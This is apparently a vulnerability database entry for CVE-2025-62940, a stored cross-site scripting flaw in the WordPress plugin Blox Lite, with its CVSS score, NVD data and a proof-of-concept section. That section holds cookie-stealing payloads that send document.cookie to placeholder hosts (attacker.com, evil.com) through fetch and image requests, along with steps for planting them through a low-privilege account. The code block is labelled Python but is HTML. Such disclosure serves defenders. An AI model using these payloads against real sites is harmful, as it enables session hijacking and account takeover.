Security Vulnerability Report
中文
CVE-2025-62940 CVSS 6.5 MEDIUM

CVE-2025-62940

Published: 2025-10-27 02:15:54
Last Modified: 2026-04-27 17:16:36

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nick Diego Blox Lite blox-lite allows Stored XSS.This issue affects Blox Lite: from n/a through <= 1.2.8.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Blox Lite <= 1.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-62940 --> <!-- WordPress Blox Lite Plugin <= 1.2.8 --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: Using SVG element --> <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- PoC Explanation: --> <!-- 1. Login to WordPress with low-privilege account --> <!-- 2. Navigate to Blox Lite plugin settings or content blocks --> <!-- 3. Insert the above payload in any text input field --> <!-- 4. Save the content --> <!-- 5. When admin or other users view the page, the script executes --> <!-- Example: Cookie stealing payload --> <script> var cookies = document.cookie; var img = document.createElement('img'); img.src = 'https://evil.com/log?c=' + encodeURIComponent(cookies); document.body.appendChild(img); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62940", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:54.030", "lastModified": "2026-04-27T17:16:36.340", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nick Diego Blox Lite blox-lite allows Stored XSS.This issue affects Blox Lite: from n/a through <= 1.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/blox-lite/vulnerability/wordpress-blox-lite-plugin-1-2-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}